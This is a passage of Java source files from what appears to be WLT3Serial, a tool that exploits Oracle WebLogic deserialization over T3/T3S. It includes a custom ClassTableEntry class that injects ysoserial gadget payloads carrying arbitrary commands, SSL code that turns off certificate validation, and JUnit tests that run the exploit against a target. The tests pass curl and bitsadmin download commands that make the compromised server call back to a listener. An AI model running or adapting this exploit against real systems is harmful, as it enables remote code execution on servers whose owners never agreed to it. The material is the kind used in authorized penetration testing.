protocols.remove("SSLv3"); 36 | if(tlsSysProp.contains("SSLv2Hello")) protocols.remove("SSLv2Hello"); 37 | disabledProts = join(protocols,", "); 38 | 39 | if(tlsSecProp.contains("SSLv3")) { 40 | tlsSecProp = tlsSecProp.replace("SSLv3", disabledProts); 41 | } else { 42 | tlsSecProp = tlsSecProp.trim(); 43 | if(!tlsSecProp.isEmpty()) tlsSecProp += ", "; 44 | tlsSecProp += disabledProts; 45 | } 46 | } else { //using TLS protocol for connection 47 | switch(tlsSysProp) { 48 | case "TLSv1.2": 49 | protocols.remove("TLSv1.2"); 50 | break; 51 | case "TLSv1.1": 52 | protocols.remove("TLSv1.1"); 53 | break; 54 | case "TLSv1": 55 | protocols.remove("TLSv1"); 56 | break; 57 | } 58 | 59 | if(!tlsSecProp.isEmpty()) tlsSecProp += ", "; 60 | tlsSecProp += join(protocols,", "); 61 | } 62 | Security.setProperty("jdk.tls.disabledAlgorithms",tlsSecProp); 63 | } else { //jdk.tls.disabledAlgorithms is not set in running JVM: if JVM is version 8, set property 64 | if(!isJVM7()) { 65 | ArrayList protocols = new ArrayList(5); 66 | protocols.add("SSLv2Hello"); 67 | protocols.add("SSLv3"); 68 | protocols.add("TLSv1"); 69 | protocols.add("TLSv1.1"); 70 | protocols.add("TLSv1.2"); 71 | 72 | String disabledProts = null; 73 | if(tlsSysProp.contains("SSL")) { //using SSL protocol(s) for connection 74 | protocols.remove("SSLv3"); 75 | if(tlsSysProp.contains("SSLv2Hello")) protocols.remove("SSLv2Hello"); 76 | disabledProts = join(protocols,", "); 77 | 78 | if(tlsSecProp.contains("SSLv3")) { 79 | tlsSecProp = tlsSecProp.replace("SSLv3", disabledProts); 80 | } else { 81 | tlsSecProp = tlsSecProp.trim(); 82 | if(!tlsSecProp.isEmpty()) tlsSecProp += ", "; 83 | tlsSecProp += disabledProts; 84 | } 85 | } else { //using TLS protocol for connection 86 | switch(tlsSysProp) { 87 | case "TLSv1.2": 88 | protocols.remove("TLSv1.2"); 89 | break; 90 | case "TLSv1.1": 91 | protocols.remove("TLSv1.1"); 92 | break; 93 | case "TLSv1": 94 | protocols.remove("TLSv1"); 95 | break; 96 | } 97 | 98 | if(!tlsSecProp.isEmpty()) tlsSecProp += ", "; 99 | tlsSecProp += join(protocols,", "); 100 | } 101 | Security.setProperty("jdk.tls.disabledAlgorithms",tlsSecProp); 102 | } 103 | } 104 | 105 | if(isJVM7()) { //running JVM is version 7 or lower: set custom SSLSocketFactory implementation as default 106 | Security.setProperty("ssl.SocketFactory.provider","bort.millipede.wlt3.CustomSSLSocketFactory"); 107 | } else { //running JVM is version 8 or higher: set default SSLContext with SSL/TLS certificate validation disabled 108 | SSLContext defaultContext = null; 109 | if(tlsSysProp.contains("SSL")) { 110 | defaultContext = SSLContext.getInstance("SSL"); 111 | } else { 112 | defaultContext = SSLContext.getInstance(tlsSysProp); 113 | } 114 | TrustManager[] trustAll = new TrustManager[] {new TrustAllCertsManager()}; 115 | defaultContext.init(null,trustAll,null); 116 | SSLContext.setDefault(defaultContext); 117 | } 118 | } 119 | 120 | //join List into String with specified delimeter 121 | static String join(List list,String delimeter) { 122 | if(delimeter==null) delimeter=""; 123 | if(list==null) return null; 124 | 125 | String[] arr = new String[list.size()]; 126 | arr = list.toArray(arr); 127 | String retVal = ""; 128 | int i=0; 129 | while(i cteClass = Class.forName("weblogic.rjvm.ClassTableEntry"); 148 | Method m = cteClass.getDeclaredMethod("isCTECustom"); 149 | return true; 150 | } catch(ClassNotFoundException cnfe) { 151 | //should never happen, and error will be handled elsewhere in WLT3Serial class 152 | } catch(NoSuchMethodException nsme) { 153 | //method does not exist: do nothing so method will return false 154 | } 155 | return false; 156 | } 157 | } 158 | 159 | -------------------------------------------------------------------------------- /src/weblogic/rjvm/ClassTableEntry.java: -------------------------------------------------------------------------------- 1 | /* 2 | ClassTableEntry.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Custom implementation of the weblogic.rjvm.ClassTableEntry class (because we cannot modify the Oracle-provided class or know exactly what the class does 7 | within the Oracle licensing terms). Reads payload options from JVM System properties, then generates payload and writes it directly to T3/T3S communication 8 | initialization. At this time, this mostly breaks the intended functionality of the T3/T3S communication, but this still allows vulnerable target systems 9 | to be successfully exploited. Additionally, more ysoserial payload types are supported using this method. 10 | */ 11 | 12 | package weblogic.rjvm; 13 | 14 | import java.io.Externalizable; 15 | import java.io.ObjectStreamClass; 16 | import java.io.ObjectInput; 17 | import java.io.ObjectOutput; 18 | import java.io.InputStream; 19 | import java.io.IOException; 20 | import ysoserial.payloads.ObjectPayload; 21 | import ysoserial.payloads.ObjectPayload.Utils; 22 | 23 | final class ClassTableEntry implements Externalizable { 24 | ObjectStreamClass descriptor; 25 | String annotation; 26 | Class clz; 27 | ClassLoader ccl; 28 | boolean sent; 29 | 30 | public ClassTableEntry() { 31 | annotation = ""; 32 | descriptor = ObjectStreamClass.lookup(annotation.getClass()); 33 | clz = null; 34 | ccl = null; 35 | sent = Boolean.parseBoolean(System.getProperty("bort.millipede.wlt3.sent")); 36 | } 37 | 38 | public ClassTableEntry(ObjectStreamClass osc, String s) { 39 | descriptor = osc; 40 | annotation = s; 41 | clz = null; 42 | ccl = null; 43 | sent = Boolean.parseBoolean(System.getProperty("bort.millipede.wlt3.sent")); 44 | } 45 | 46 | @Override 47 | public void readExternal(ObjectInput oi) throws IOException, ClassNotFoundException { 48 | 49 | } 50 | 51 | @Override 52 | public void writeExternal(ObjectOutput oo) throws IOException { 53 | try { 54 | String payloadType = System.getProperty("bort.millipede.wlt3.type"); 55 | String command = System.getProperty("bort.millipede.wlt3.command"); 56 | if((payloadType != null) && (command != null) && !sent) { //if payload options are in JVM System properties and the payload does not appear to have been sent: write payload to T3 57 | final Class payloadClass = Utils.getPayloadClass(payloadType); 58 | final ObjectPayload payload = payloadClass.newInstance(); 59 | oo.writeObject(payload.getObject(command)); 60 | sent = true; 61 | System.setProperty("bort.millipede.wlt3.sent",Boolean.toString(true)); 62 | } else { 63 | oo.writeObject(descriptor); 64 | } 65 | oo.writeBytes(annotation); 66 | } catch(Exception e) { 67 | System.err.println("Exception occurred in custom ClassTableEntry class writeExternal() method!!!"); 68 | e.printStackTrace(); 69 | } 70 | } 71 | 72 | //method telling caller if weblogic.rjvm.ClassTableEntry class loaded into JVM is a custom implementation. 73 | public static boolean isCTECustom() { 74 | return true; 75 | } 76 | } 77 | 78 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/WLT3SerialTestHelper.java: -------------------------------------------------------------------------------- 1 | /* 2 | WLT3SerialTestHelper.java 3 | 4 | v0.3 (1/18/2018) 5 | 6 | Helper class containing static helper methods to be leveraged by the various WLT3Serial JUnit tests. 7 | */ 8 | 9 | package bort.millipede.wlt3.tests; 10 | 11 | import bort.millipede.wlt3.WLT3Serial; 12 | import org.junit.Assert; 13 | 14 | public class WLT3SerialTestHelper { 15 | //check input properties 'wlt3.target.host', 'wlt3.target.t3.port' and 'wlt3.target.t3s.port'. 16 | public static void checkTargetParams() { 17 | String strPort = System.getProperty("wlt3.target.t3.port"); 18 | String strPort2 = System.getProperty("wlt3.target.t3s.port"); 19 | Assert.assertNotNull("System property \"wlt3.target.host\" not set!",System.getProperty("wlt3.target.host")); 20 | Assert.assertNotNull("System property \"wlt3.target.t3.port\" not set!",strPort); 21 | Assert.assertNotNull("System property \"wlt3.target.t3s.port\" not set!",strPort2); 22 | int port = -1; 23 | try { 24 | port = Integer.parseInt(strPort); 25 | if((port<0) && (port>65535)) { 26 | throw new AssertionError("Provided T3 port "+strPort+" is not a valid TCP port! Valid TCP ports: 0-65535"); 27 | } 28 | } catch (Exception e) { 29 | throw new AssertionError("Provided T3 port \""+strPort+"\" is not a valid TCP port!"); 30 | } 31 | port = -1; 32 | try { 33 | port = Integer.parseInt(strPort2); 34 | if((port<0) && (port>65535)) { 35 | throw new AssertionError("Provided T3S port "+strPort2+" is not a valid TCP port! Valid TCP ports: 0-65535"); 36 | } 37 | } catch (Exception e) { 38 | throw new AssertionError("Provided T3 port \""+strPort2+"\" is not a valid TCP port!"); 39 | } 40 | } 41 | 42 | //execute WLT3Serial main method in order to run exploit against target system. checkTargetParams() must be executed before executing runExploit(). 43 | public static void runExploit(String t3s,String method,String payloadType,String cmd) { 44 | String host = System.getProperty("wlt3.target.host"); 45 | String port = System.getProperty("wlt3.target.t3.port"); 46 | String t3sPort = System.getProperty("wlt3.target.t3s.port"); 47 | boolean verbose = false; 48 | String strVerbose = System.getProperty("wlt3.test.verbose"); 49 | if(strVerbose != null) verbose = Boolean.parseBoolean(strVerbose); 50 | 51 | //attempt to run exploit 52 | String[] args = null; 53 | if(verbose) { 54 | if(t3s != null && !t3s.isEmpty()) { 55 | args = new String[] {"--verbose",t3s,host,t3sPort,payloadType,cmd}; 56 | } else { 57 | args = new String[] {"--verbose",host,port,payloadType,cmd}; 58 | } 59 | } else { 60 | if(t3s != null && !t3s.isEmpty()) { 61 | args = new String[] {t3s,host,t3sPort,payloadType,cmd}; 62 | } else { 63 | args = new String[] {host,port,payloadType,cmd}; 64 | } 65 | } 66 | WLT3Serial.main(args); 67 | } 68 | 69 | //check inputted WebServerTestHelper object for access from remote host 70 | public static String getAccessedHost(WebServerTestHelper ws,String path) { 71 | int i=0; 72 | String strNumTries = System.getProperty("wlt3.test.tries"); 73 | int numTries = 5; 74 | if(strNumTries != null) { 75 | try { 76 | numTries = Integer.parseInt(strNumTries); 77 | } catch(Exception e) { 78 | throw new IllegalArgumentException("Provided wlt3.test.tries property \""+strNumTries+"\" is not a valid integer"); 79 | } 80 | } 81 | String remoteIP = null; 82 | while((remoteIP == null) && (i accessList; 27 | 28 | private static final int DEFAULT_PORT = 8080; 29 | 30 | public WebServerTestHelper() throws IOException, IllegalArgumentException { 31 | port = DEFAULT_PORT; 32 | String inPort = System.getProperty("wlt3.test.server.port"); 33 | if(inPort!=null && !inPort.isEmpty()) { 34 | try { 35 | inPort = inPort.trim(); 36 | port = Integer.parseInt(inPort); 37 | if((port<1) || (port>65535)) { 38 | throw new IllegalArgumentException("\""+inPort+"\" is not a valid TCP port for standalone web server listener! Valid TCP ports: 0-65535"); 39 | } 40 | } catch(Exception e) { 41 | throw new IllegalArgumentException("\""+inPort+"\" is not a valid TCP port for standalone web server listener!"); 42 | } 43 | } 44 | 45 | hs = HttpServer.create(new InetSocketAddress(port),0); 46 | sr = new SecureRandom(); 47 | accessList = new Hashtable(); 48 | 49 | hs.start(); 50 | } 51 | 52 | //dynamically create new context when requested 53 | public String createContext() { 54 | String guid = generateGUID(); 55 | hs.createContext("/"+guid,new TestHttpHandler(guid)); 56 | return guid; 57 | } 58 | 59 | public String isSourceAccessed(String path) { 60 | if(accessList==null) return null; 61 | return accessList.get(path); 62 | } 63 | 64 | public void stop() { 65 | hs.stop(0); 66 | accessList = null; 67 | } 68 | 69 | public int getPort() { 70 | return port; 71 | } 72 | 73 | private String generateGUID() { 74 | byte[] buffer = new byte[16]; 75 | sr.nextBytes(buffer); 76 | String retVal = bytesToHex(buffer); 77 | return retVal.substring(0,8)+"-"+retVal.substring(8,12)+"-"+retVal.substring(12,16)+"-"+retVal.substring(16,20)+"-"+retVal.substring(20); 78 | } 79 | 80 | private String bytesToHex(byte[] bytes) { 81 | final char[] hexArray = "0123456789ABCDEF".toCharArray(); 82 | char[] hexChars = new char[bytes.length*2]; 83 | for(int j=0;j>>4]; 86 | hexChars[j*2+1]=hexArray[v&0x0F]; 87 | } 88 | return new String(hexChars); 89 | } 90 | 91 | private class TestHttpHandler implements HttpHandler { 92 | private String path; 93 | private boolean accessed; 94 | private String source; 95 | 96 | TestHttpHandler(String p) { 97 | path = p; 98 | accessed = false; 99 | source = null; 100 | } 101 | 102 | public void handle(HttpExchange exchange) { 103 | try { 104 | exchange.getRequestMethod(); 105 | exchange.getRequestBody().close(); 106 | Headers respHeaders = null; 107 | if(!accessed && (source == null)) { //context hasn't been accessed before 108 | source = exchange.getRemoteAddress().getHostString(); 109 | accessed = true; 110 | respHeaders = exchange.getResponseHeaders(); 111 | respHeaders.add("Content-Type","text/plain"); 112 | exchange.sendResponseHeaders(200,path.length()); 113 | OutputStream os = exchange.getResponseBody(); 114 | os.write(path.getBytes()); 115 | os.flush(); 116 | os.close(); 117 | accessList.put(path,source); 118 | } else { 119 | respHeaders = exchange.getResponseHeaders(); 120 | exchange.sendResponseHeaders(404,0); 121 | exchange.getResponseBody().close(); 122 | } 123 | } catch(Exception e) { 124 | System.err.println("Unforeseen error occurred!"); 125 | e.printStackTrace(); 126 | } 127 | } 128 | } 129 | } 130 | 131 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/exploit/CommonsCollectionsLinuxTests.java: -------------------------------------------------------------------------------- 1 | /* 2 | CommonsCollectionsLinuxTests.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial performs successful exploitation of Linux target system using various CommonsCollections ysoserial payload types. 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.exploit; 10 | 11 | import java.io.IOException; 12 | 13 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 14 | import bort.millipede.wlt3.tests.WebServerTestHelper; 15 | import org.junit.Assert; 16 | import org.junit.Before; 17 | import org.junit.After; 18 | import org.junit.Test; 19 | 20 | public class CommonsCollectionsLinuxTests { 21 | WebServerTestHelper ws; 22 | 23 | @Before 24 | public void setUp() throws IOException { 25 | try { 26 | ws = new WebServerTestHelper(); 27 | } catch(IOException ioe) { 28 | throw new IOException("Embedded web server component failed to start!",ioe); 29 | } catch(Exception e) { 30 | throw e; 31 | } 32 | } 33 | 34 | @After 35 | public void tearDown() { 36 | try { 37 | ws.stop(); 38 | } catch(Exception e) { 39 | //don't care 40 | } 41 | } 42 | 43 | @Test 44 | public void testAssertLinuxCommonsCollections1() { 45 | WLT3SerialTestHelper.checkTargetParams(); 46 | String path = ws.createContext(); 47 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections1","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 48 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 49 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 50 | } 51 | 52 | @Test 53 | public void testAssertLinuxCommonsCollections2() { 54 | WLT3SerialTestHelper.checkTargetParams(); 55 | String path = ws.createContext(); 56 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections2","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 57 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 58 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 59 | } 60 | 61 | @Test 62 | public void testAssertLinuxCommonsCollections3() { 63 | WLT3SerialTestHelper.checkTargetParams(); 64 | String path = ws.createContext(); 65 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections3","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 66 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 67 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 68 | } 69 | 70 | @Test 71 | public void testAssertLinuxCommonsCollections4() { 72 | WLT3SerialTestHelper.checkTargetParams(); 73 | String path = ws.createContext(); 74 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections4","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 75 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 76 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 77 | } 78 | 79 | @Test 80 | public void testAssertLinuxCommonsCollections5() { 81 | WLT3SerialTestHelper.checkTargetParams(); 82 | String path = ws.createContext(); 83 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections5","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 84 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 85 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 86 | } 87 | 88 | @Test 89 | public void testAssertLinuxCommonsCollections6() { 90 | WLT3SerialTestHelper.checkTargetParams(); 91 | String path = ws.createContext(); 92 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections6","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 93 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 94 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 95 | } 96 | } 97 | 98 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/exploit/CommonsCollectionsWindowsTests.java: -------------------------------------------------------------------------------- 1 | /* 2 | CommonsCollectionsWindowsTests.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial performs successful exploitation of Windows target system using various CommonsCollections ysoserial payload types. 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.exploit; 10 | 11 | import java.io.IOException; 12 | 13 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 14 | import bort.millipede.wlt3.tests.WebServerTestHelper; 15 | import org.junit.Assert; 16 | import org.junit.Before; 17 | import org.junit.After; 18 | import org.junit.Test; 19 | 20 | public class CommonsCollectionsWindowsTests { 21 | WebServerTestHelper ws; 22 | 23 | @Before 24 | public void setUp() throws IOException { 25 | try { 26 | ws = new WebServerTestHelper(); 27 | } catch(IOException ioe) { 28 | throw new IOException("Embedded web server component failed to start!",ioe); 29 | } catch(Exception e) { 30 | throw e; 31 | } 32 | } 33 | 34 | @After 35 | public void tearDown() { 36 | try { 37 | ws.stop(); 38 | } catch(Exception e) { 39 | //don't care 40 | } 41 | } 42 | 43 | @Test 44 | public void testAssertWindowsCommonsCollections1() { 45 | WLT3SerialTestHelper.checkTargetParams(); 46 | String path = ws.createContext(); 47 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections1","bitsadmin /transfer CC1Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\CC1Win.txt"); 48 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 49 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 50 | } 51 | 52 | @Test 53 | public void testAssertWindowsCommonsCollections2() { 54 | WLT3SerialTestHelper.checkTargetParams(); 55 | String path = ws.createContext(); 56 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections2","bitsadmin /transfer CC2Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\CC2Win.txt"); 57 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 58 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 59 | } 60 | 61 | @Test 62 | public void testAssertWindowsCommonsCollections3() { 63 | WLT3SerialTestHelper.checkTargetParams(); 64 | String path = ws.createContext(); 65 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections3","bitsadmin /transfer CC3Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\CC3Win.txt"); 66 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 67 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 68 | } 69 | 70 | @Test 71 | public void testAssertWindowsCommonsCollections4() { 72 | WLT3SerialTestHelper.checkTargetParams(); 73 | String path = ws.createContext(); 74 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections4","bitsadmin /transfer CC4Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\CC4Win.txt"); 75 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 76 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 77 | } 78 | 79 | @Test 80 | public void testAssertWindowsCommonsCollections5() { 81 | WLT3SerialTestHelper.checkTargetParams(); 82 | String path = ws.createContext(); 83 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections5","bitsadmin /transfer CC5Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\CC5Win.txt"); 84 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 85 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 86 | } 87 | 88 | @Test 89 | public void testAssertWindowsCommonsCollections6() { 90 | WLT3SerialTestHelper.checkTargetParams(); 91 | String path = ws.createContext(); 92 | WLT3SerialTestHelper.runExploit(null,null,"CommonsCollections6","bitsadmin /transfer CC6Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\CC6Win.txt"); 93 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 94 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 95 | } 96 | } 97 | 98 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/exploit/Jdk7u21LinuxTests.java: -------------------------------------------------------------------------------- 1 | /* 2 | Jdk7u21LinuxTests.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial performs successful exploitation of Linux target system using Jdk7u21 ysoserial payload type. 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.exploit; 10 | 11 | import java.io.IOException; 12 | 13 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 14 | import bort.millipede.wlt3.tests.WebServerTestHelper; 15 | import org.junit.Assert; 16 | import org.junit.Before; 17 | import org.junit.After; 18 | import org.junit.Test; 19 | 20 | public class Jdk7u21LinuxTests { 21 | WebServerTestHelper ws; 22 | 23 | @Before 24 | public void setUp() throws IOException { 25 | try { 26 | ws = new WebServerTestHelper(); 27 | } catch(IOException ioe) { 28 | throw new IOException("Embedded web server component failed to start!",ioe); 29 | } catch(Exception e) { 30 | throw e; 31 | } 32 | } 33 | 34 | @After 35 | public void tearDown() { 36 | try { 37 | ws.stop(); 38 | } catch(Exception e) { 39 | //don't care 40 | } 41 | } 42 | 43 | @Test 44 | public void testAssertLinuxJdk7u21() { 45 | WLT3SerialTestHelper.checkTargetParams(); 46 | String path = ws.createContext(); 47 | WLT3SerialTestHelper.runExploit(null,null,"Jdk7u21","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 48 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 49 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/exploit/Jdk7u21WindowsTests.java: -------------------------------------------------------------------------------- 1 | /* 2 | Jdk7u21WindowsTests.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial performs successful exploitation of Windows target system using Jdk7u21 ysoserial payload type. 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.exploit; 10 | 11 | import java.io.IOException; 12 | 13 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 14 | import bort.millipede.wlt3.tests.WebServerTestHelper; 15 | import org.junit.Assert; 16 | import org.junit.Before; 17 | import org.junit.After; 18 | import org.junit.Test; 19 | 20 | public class Jdk7u21WindowsTests { 21 | WebServerTestHelper ws; 22 | 23 | @Before 24 | public void setUp() throws IOException { 25 | try { 26 | ws = new WebServerTestHelper(); 27 | } catch(IOException ioe) { 28 | throw new IOException("Embedded web server component failed to start!",ioe); 29 | } catch(Exception e) { 30 | throw e; 31 | } 32 | } 33 | 34 | @After 35 | public void tearDown() { 36 | try { 37 | ws.stop(); 38 | } catch(Exception e) { 39 | //don't care 40 | } 41 | } 42 | 43 | @Test 44 | public void testAssertWindowsJdk7u21() { 45 | WLT3SerialTestHelper.checkTargetParams(); 46 | String path = ws.createContext(); 47 | WLT3SerialTestHelper.runExploit(null,null,"Jdk7u21","bitsadmin /transfer Jdk7u21Win /download /priority high http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path+" C:\\Windows\\Temp\\Jdk7u21Win.txt"); 48 | String remoteIP = WLT3SerialTestHelper.getAccessedHost(ws,path); 49 | WLT3SerialTestHelper.checkAccessedHost(remoteIP); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/ssltls/SSLv2Test.java: -------------------------------------------------------------------------------- 1 | /* 2 | SSLv2Test.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial communicates via T3S with SSLv2 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.ssltls; 10 | 11 | import java.io.IOException; 12 | import java.net.Socket; 13 | import javax.net.ssl.SSLSocket; 14 | import javax.net.ssl.SSLSocketFactory; 15 | 16 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 17 | import bort.millipede.wlt3.tests.WebServerTestHelper; 18 | import org.junit.Assert; 19 | import org.junit.Test; 20 | import org.junit.Before; 21 | import org.junit.After; 22 | 23 | public class SSLv2Test { 24 | WebServerTestHelper ws; 25 | 26 | @Before 27 | public void setUp() throws IOException { 28 | try { 29 | ws = new WebServerTestHelper(); 30 | } catch(IOException ioe) { 31 | throw new IOException("Embedded web server component failed to start!",ioe); 32 | } catch(Exception e) { 33 | throw e; 34 | } 35 | } 36 | 37 | @After 38 | public void tearDown() { 39 | try { 40 | ws.stop(); 41 | } catch(Exception e) { 42 | //don't care 43 | } 44 | } 45 | 46 | @Test 47 | public void testAssertUsingSSLv2() { 48 | //check input properties and run exploit 49 | WLT3SerialTestHelper.checkTargetParams(); 50 | String host = System.getProperty("wlt3.target.host"); 51 | String strPort = System.getProperty("wlt3.target.t3s.port"); 52 | String path = ws.createContext(); 53 | WLT3SerialTestHelper.runExploit("--t3s=SSLv2",null,"CommonsCollections6","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 54 | 55 | //create socket for retrieving SSLSocketFactory 56 | int port = Integer.parseInt(strPort); 57 | Socket sock = null; 58 | try { 59 | sock = new Socket(host,port); 60 | } catch (Exception e) { 61 | throw new AssertionError("Error connecting to "+host+":"+strPort+"!"); 62 | } 63 | SSLSocketFactory defaultFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); 64 | 65 | //create SSLSocket and retrieve enabled protocol(s) 66 | SSLSocket sslSock = null; 67 | try { 68 | sslSock = (SSLSocket) defaultFactory.createSocket(sock,host,port,true); 69 | } catch (Exception e) { 70 | throw new AssertionError("Error connecting to "+host+":"+strPort+"via SSL/TLS!"); 71 | } 72 | String[] prots = sslSock.getEnabledProtocols(); 73 | 74 | //Assert that only 2 SSL/TLS protocols are enabled and that they are SSLv2Hello and SSLv3 75 | Assert.assertEquals("Incorrect SSL/TLS protocol(s) enabled, rather than only SSLv2Hello and SSLv3!",2,prots.length); 76 | Assert.assertArrayEquals("Protocols other than SSLv2Hello and SSLv3 enabled",new String[] {"SSLv2Hello","SSLv3"},prots); 77 | 78 | //attempt to close SSLSocket, ignore any errors 79 | try { 80 | sslSock.close(); 81 | } catch (Exception e) { 82 | //don't care 83 | } 84 | } 85 | } 86 | 87 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/ssltls/SSLv3Test.java: -------------------------------------------------------------------------------- 1 | /* 2 | SSLv3Test.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial communicates via T3S with SSLv3 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.ssltls; 10 | 11 | import java.io.IOException; 12 | import java.net.Socket; 13 | import javax.net.ssl.SSLSocket; 14 | import javax.net.ssl.SSLSocketFactory; 15 | 16 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 17 | import bort.millipede.wlt3.tests.WebServerTestHelper; 18 | import org.junit.Assert; 19 | import org.junit.Test; 20 | import org.junit.Before; 21 | import org.junit.After; 22 | 23 | public class SSLv3Test { 24 | WebServerTestHelper ws; 25 | 26 | @Before 27 | public void setUp() throws IOException { 28 | try { 29 | ws = new WebServerTestHelper(); 30 | } catch(IOException ioe) { 31 | throw new IOException("Embedded web server component failed to start!",ioe); 32 | } catch(Exception e) { 33 | throw e; 34 | } 35 | } 36 | 37 | @After 38 | public void tearDown() { 39 | try { 40 | ws.stop(); 41 | } catch(Exception e) { 42 | //don't care 43 | } 44 | } 45 | 46 | @Test 47 | public void testAssertUsingSSLv3() { 48 | //check input properties and run exploit 49 | WLT3SerialTestHelper.checkTargetParams(); 50 | String host = System.getProperty("wlt3.target.host"); 51 | String strPort = System.getProperty("wlt3.target.t3s.port"); 52 | String path = ws.createContext(); 53 | WLT3SerialTestHelper.runExploit("--t3s=SSLv3",null,"CommonsCollections6","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 54 | 55 | //create socket for retrieving SSLSocketFactory 56 | int port = Integer.parseInt(strPort); 57 | Socket sock = null; 58 | try { 59 | sock = new Socket(host,port); 60 | } catch (Exception e) { 61 | throw new AssertionError("Error connecting to "+host+":"+strPort+"!"); 62 | } 63 | SSLSocketFactory defaultFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); 64 | 65 | //create SSLSocket and retrieve enabled protocol(s) 66 | SSLSocket sslSock = null; 67 | try { 68 | sslSock = (SSLSocket) defaultFactory.createSocket(sock,host,port,true); 69 | } catch (Exception e) { 70 | throw new AssertionError("Error connecting to "+host+":"+strPort+"via SSL/TLS!"); 71 | } 72 | String[] prots = sslSock.getEnabledProtocols(); 73 | 74 | //Assert that only 1 SSL/TLS protocol is enabled and that it is SSLv3 75 | Assert.assertEquals("Multiple SSL/TLS protocols enabled instead of 